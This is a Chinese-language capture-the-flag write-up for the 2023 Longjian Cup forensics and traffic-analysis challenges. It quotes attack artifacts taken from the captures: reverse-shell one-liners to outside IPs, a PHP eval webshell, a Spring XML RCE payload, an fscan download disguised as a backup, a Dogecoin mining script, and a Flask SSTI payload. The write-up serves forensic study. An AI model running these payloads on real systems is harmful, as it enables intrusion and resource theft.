当前位置: 首页 > news >正文

DIDCTF-2023陇剑杯

数据分析-HW

hard_web_1

这一题让判断开放了那些端口,这需要根据tcp‘三次握手’中的‘第二次握手’,由服务端向客户端返回的数据包。查看哪些服务器向客户端这个设备返回了连接确认(SYN+ACK),从而判断在客户端最近发起的连接中,哪些服务器的端口是开放的(因为只有开放端口才会返回 SYN+ACK)。

命令为

tcp.connection.synsck

可以看到这里绝大多数的目标ip为192.168.162.188,那这个应该就是客户端,所以开放了80,888,8888,那个443的目标ip并不是192.168.162.188,所以不选。

hard_web_2

接下来过滤http流量,第一条就发现了可以文件shell.jsp,导出文件看一下


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>一句话木马</title></head><body><pre>/www/wwwroot/test.com/shell.jsp</pre></body></html>

上传了后文文件,追踪流看看

发现了一个key,这就是webshell流量,那肯定是解密流量得到flag了,继续往下看

在tcp流20049中确认为哥斯拉流量,

cookie带分号,有key,就可以解密了

一直在20053流发现flag,

flag{9236b29d-5488-41e6-a04b-53b0d8276542}

hard_web_3

密码就是第二问的key,md5解密一下就行

14mk3y

数据分析-SS

sevrer save_1

首先分组统计一下

就3个POST请求,追踪流看一下,由于能力尚浅让ai分析一下

CVE-2022-22965

sevrer save_2

那个叫helloword的文件夹一看就不对劲,果然有,bbbb.sh

/bin/sh -i >& /dev/tcp/192.168.43.128/2333 0>&1

192.168.43.128:2333

sevrer save_3

这是真没找到,看wp在/home/guest/main这个文件是病毒文件

main

sevrer save_4

在etc文件夹里面找,用户名在passwd文件,密码在shadow文件,用户名为ll,密码为123456,答案是

ll:123456

sevrer save_5

在.log.txt文件

sevrer save_6

日志最后一条记录了黑客挖矿失败,mine_doge.sh很可疑,

应该是这两个lolMiner,mine_doge.sh

sevrer save_7

mine_doge.sh(狗狗币挖矿脚本)文件内容

#!/bin/bash#################################
## Begin of user-editable part ##
#################################POOL=doge.millpools.cc:5567
WALLET=DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker#################################
##  End of user-editable part  ##
#################################cd "$(dirname "$0")"./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
while [ $? -eq 42 ]; dosleep 10s./lolMiner --algo ETHASH --pool $POOL --user $WALLET $@ --4g-alloc-size 4024 --keepfree 8
done

地址doge.millpools.cc:5567

sevrer save_8

还是在狗狗币挖矿脚本中

DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker

数据分析-WS

Wireshark1_1

在统计->会话中分析,从192.168.246.8到192.168.246.28,所以被入侵的主机ip是192.168.246.28

Wireshark1_2

在tcp流0有密码

youcannevergetthis

Wireshark1_3

如图,第二个是Downloads

Wireshark1_4

如图,倒数第二个是mysql

最后说明一下在这个平台下载的附件,本题的流量包在wd.zip中

数据分析-SSW

SmallSword_1

过滤http流量往下翻翻直接看到了

6ea280898e404bfabd0ebb702327b18f

这个答案不对,继续往下看在tcp流96发现

6ea280898e404bfabd0ebb702327b19f,一眼蚁剑,这个才是蚁剑连接密码

SmallSword_2

这蚁剑流量比较好解密,直接让ai分析就行了,在tcp流142

ad6269b7-3ce2-4ae8-b97f-f259515e7a91 

SmallSword_3

这一问就跟着wp复现了,在导出文件中有一个php文件非常可以,非常大,导出后发现是乱码,那就对味了,证明他不是PHP文件,010打开,编辑为16进制

还是学识尚浅,没了解过exe文件头。这里文件头被修改过,具体参考文章

EXE与COM文件结构详解-CSDN博客

把2d3d7c删了把后缀改为.exe运行得到图片,随波逐流打开,修改高度得到flag

flag3{8f0dffac-5801-44a9-bd49-e66192ce4f57}

数据分析-EW

ez_web_1

都后门文件了,肯定的看看post请求,

ViewMore.php很可疑,就是它

ez_web_2

接上一问,流量包中还有

a=file_put_contents%28%27d00r.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%27%29%29%3B

a=file_put_contents('d00r.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=='));  (<?php eval($_POST['cmd']);?>)

讲一句话木马写进了d00r.php文件中,然后在tcp流10098执行了ipconfig命令

IP为192.168.101.132

ez_web_3

还执行了

cmd=file_put_contents%28%27k3y_f1le%27%2C+base64_decode%28%27UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl%2FO%2FAJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI%2FABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA%3D%3D%27%29%29%3B

cmd=file_put_contents('k3y_f1le', base64_decode('UEsDBBQAAQAAANgDvlTRoSUSMAAAACQAAAAHAAAAa2V5LnR4dGYJZVtgRzdJtOnW1ycl/O/AJ0rmzwNXxqbCRUq2LQid0gO2yXaPBcc9baLIAwnQ71BLAQI/ABQAAQAAANgDvlTRoSUSMAAAACQAAAAHACQAAAAAAAAAIAAAAAAAAABrZXkudHh0CgAgAAAAAAABABgAOg7Zcnlz2AE6DtlyeXPYAfldXhh5c9gBUEsFBgAAAAABAAEAWQAAAFUAAAAAAA=='));

使用在线工具

在线Base64转文件工具 - 在线工具网

获得压缩包

密码在流量包中7e03864b0db7e6f9

解压得到7d9ddff2-2d67-4eba-9e48-b91c26c42337

数据分析-BF

baby_forensics_1

给了raw文件,直接导入lovelymem分析一波,列出文件后,搜索key,发现key.txt文件,

有点抽象啊,

随波逐流分析出答案

thekeyis2e80307085fd2b5c49c968c323ee25d5。

或者使用R-STUDIO直接分析

同样能找到key.txt文件

baby_forensics_2

这一题我不会啊,跟着wp复现一下,就具体参考2023第二届陇剑杯网络安全大赛 预选赛Writeup_第二届“陇剑杯”网络安全大赛线上赛write up2023、-CSDN博客

题目说电脑正在运行的,先看一下进程,

calc.exe内存转储存得到dmp文件,然后把后缀改为data文件,然后用GIMP打开,在不断调试得到答案,这里放大佬调试后的

那我调试的就是一坨啊,没调试出来,又是膜拜大佬的一天

还有一种方法windows窗口信息,这是Volatility2的插件,不是volatility3的,使用后搜calc.exe,找这个答案有点费眼

7598632541

baby_forensics_3

这一题又学到新知识了,依旧复现,StikyNot.exe 是 Windows 操作系统中便签(Sticky Notes)应用程序的可执行文件,.snt文件与这个便签程序有关,直接搜相关文件,感觉我被做局了,打开就是乱码啊,贴张大佬的图

然后在C:/Users/admin/Music找到密码

只能说大佬太强了,然后aes解密得到flag

 flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98} 

数据分析-TP

tcpdump_1

这里题目说到爆破登入,过滤post请求流量,看了好多,初步推测用户名为TMjpxFGQwD,黑客在尝试破解密码,看了好多也没找到,这里是根据返回的错误信息推测

"errCode":300是返回的错误信息,推测登入成功的为"errCode":200,而且url包含'/login',命令如下:
http.request.uri=="/login",然后搜索"errCode":200

tcpdump_2

题目说软件存在越权漏洞,直接看跟软件有关的流量,在tcp流1586中直接让ai分析一波

这里一共就俩,一个一个试就行了

accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1

accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=2

import hashlibcookie = "accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1"
md5 = hashlib.md5(cookie.encode('utf-8')).hexdigest()
print(md5) 

383c74db4e32513daaa1eeb1726d7255

tcpdump_3

题目说了数据库,直接看相关流量就行了,有关键字db,直接tcp追踪流看一下,JDBC 是 Java 访问数据库的 “接口规范”,其底层与数据库的通信依赖 数据库原生 TCP 协议,如果http追流是看不到内容的,不符合http协议内容格式

在tcp1601得到答案

username: zyplayer

password: 1234567

zyplayer:1234567

tcpdump_4

这个之前就看到了,

浏览器直接搜就行了

文件名在流量包中也有

{"errCode":300,"errMsg":"尝试获取该数据源连接失败:jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://116.62.63.234:9988/custom.dtd.xml"}

就是/custom.dtd.xml

CVE-2022-21724:custom.dtd.xml

tcpdump_5

书接上文,继续往下看有custom.dtd.xml的内容

GET /custom.dtd.xml HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_212 Host: 116.62.63.234:9988 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive 0.019742s HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.8.10 Date: Sun, 30 Jul 2023 13:52:54 GMT Content-type: application/xml Content-Length: 601 Last-Modified: Sun, 09 Jul 2023 13:46:36 GMT <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/116.62.63.234/9999 0>&1]]></value> </array> </constructor-arg> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>

用于触发rce,后面的就是rce的过程,在tcp1611执行了

curl https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -o /tmp/mysql_bakup

<ases/download/1.8.2/fscan_amd64 -o /tmp/mysql_bakup

fscan就是端口/漏洞扫描工具

数据分析-HD

hacked_1

既然提到了密码,首先想到登录,注册,过滤post流量果然是,不过这应该是解密过的,直接解码是解不出来的,然后又找到了源代码

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Register</title><link rel="stylesheet" href="/static/css/login.css"><script src="/static/js/aes_1.js"></script><script src="/static/js/jquery-3.2.0.min.js"></script><script language="javascript">  crypt_key = 'l36DoqKUYQP0N7e1';crypt_iv = '131b0c8a7a6e072e';var key = CryptoJS.enc.Utf8.parse(crypt_key); var iv = CryptoJS.enc.Utf8.parse(crypt_iv); function Encrypt(word){srcs = CryptoJS.enc.Utf8.parse(word);var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});return encrypted.toString();}function print(){var a = Encrypt(myform.username.value);var b = Encrypt(myform.password.value);$.post({url:"/register",data:'post',dataType:'application/x-www-form-urlencoded',data:"username="+a+"&password="+b,success:function(data) {alert(data)if(data == 'aaa') {alert("登录成功")window.location.href="/index";} else {alert("登录失败")}}})}  </script>  
</head>
<body>
<div class="box"><h2>Register</h2><form  name="myform"/><div class="inputbox"><input type="text" name="username" required=""><label>Username</label></div><div class="inputbox"><input type="password" name="password" required=""><label>Password</label></div><input type="button" name="" value="submit" onclick="print()" /></form>
</div>
</body>
</html>

流量包中的数据是先经过aes加密后base64编码后的,给出了密钥和初始向量就可以解密,在tcp56找到账号密码

hacked_2

直接搜 tcp contiaons "SECRET_KEY"

hacked_3

在 Flask 应用中,Cookie与SECRET_KEY密切相关,有SECRET_KEY就直接解密就行,在tcp流76找到cookie,解密即可

python flask_session_cookie_manager3.py decode -s "ssti_flask_hsfvaldb" -c ".eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4"

red

hacked_4

按照上述方法,一个一个解密就行了,在tcp流81解密找到答案

{'username': '{{url_for.__globals__[\'__builtins__\'][\'eval\']("app.add_url_rule(\'/Index\', \'Index\', lambda :\'Hello! 123\')",{\'_request_ctx_stack\':url_for.__globals__[\'_request_ctx_stack\'],\'app\':url_for.__globals__[\'current_app\']})}}'}

数据分析-IR

这一部分的题带我先沉淀沉淀再写😎

http://www.dtcms.com/a/394286.html

相关文章:

  • 软件设计师软考备战:第四篇 计算机网络技术
  • 基于 GEE 利用 Sentinel-1 SAR 数据计算标准化双极化水体指数(SDWI)实现水体智能识别
  • 120-armv8_a_power_management:高级架构电源管理指南
  • 【MySQL初阶】02-库的操作
  • Kafka面试精讲 Day 20:集群监控与性能评估
  • 【C语言】数字模式求和算法的巧妙实现:深入解析循环与累加的艺术
  • 关系型数据库对比
  • 手机可视化方案(针对浓度识别)
  • LLM在应用计量经济学和因果推断中作用的思考
  • Redis 事务机制详解:从原理到实战
  • 【精品资料鉴赏】130页PPT汽车智能制造企业数字化转型SAP解决方案参考
  • 【区间贪心】P2859 [USACO06FEB] Stall Reservations S|普及+
  • Java进阶教程,全面剖析Java多线程编程,阻塞队列方式实现等待唤醒机制,笔记17
  • 【SAP小说】阿根廷项目的SAP突围:2025阿根廷平行账项目纪实
  • 具有广泛宿主范围的噬菌体在生态系统中很常见
  • 【Linux】进程概念(四):Linux进程优先级与进程调度的核心逻辑
  • @ModelAttribute 和@RequestBody有什么区别
  • npm玩转技巧
  • 柔性精密测量技术在小型化载荷微小应变监测方面的应用
  • 命令注入(Command Injection)漏洞学习笔记
  • 268-基于Django的热门游戏榜单数据分析系统
  • C++篇 类和对象(2)万能工具怎么用?
  • MySQL 多实例部署与主从、读写分离配置
  • C++初阶(10)string类
  • 高性能开源 Web 服务器软件--Nginx
  • 软考中级习题与解答——第十章_多媒体技术(2)
  • 【字符串】1.最⻓公共前缀(easy)
  • 新闻源发稿平台推荐,企业形象宣传新闻源收录平台
  • 梯度提升框架深度解析:LightGBM、XGBoost 与 CatBoost
  • Win10服务器远程连接断开后.bat脚本进程中断的全面解决方案